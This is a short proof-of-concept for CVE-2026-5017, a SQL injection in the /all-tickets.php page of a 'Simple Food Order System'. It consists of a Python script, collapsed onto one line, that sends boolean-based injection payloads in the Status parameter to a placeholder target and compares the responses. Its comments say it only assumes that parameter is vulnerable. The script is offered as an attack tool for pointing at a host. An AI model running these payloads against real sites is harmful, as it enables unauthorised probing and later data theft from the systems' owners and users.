CVE-2026-5017 Simple Food Order System SQL注入漏洞

import requests def check_sql_injection(url): """ PoC for CVE-2026-5017 SQL Injection in /all-tickets.php """ target_url = f"{url}/all-tickets.php" # Testing payload based on boolean-based SQL injection logic # Assuming the Status parameter is vulnerable payload_true = "?Status=1' AND 1=1-- -" payload_false = "?Status=1' AND 1=2-- -" try: response_true = requests.get(target_url + payload_true) response_false = requests.get(target_url + payload_false) # Simple analysis: check if responses differ indicating SQL execution if response_true.status_code == 200 and response_false.status_code == 200: if response_true.text != response_false.text: print("[+] Potential SQL Injection vulnerability detected!") print(f" - True Payload length: {len(response_true.text)}") print(f" - False Payload length: {len(response_false.text)}") else: print("[-] Responses are identical, vulnerability might not be exploitable via this payload.") else: print(f"[-] Unexpected HTTP status codes: {response_true.status_code}, {response_false.status_code}") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target_host = "http://target-ip" # Replace with actual target check_sql_injection(target_host)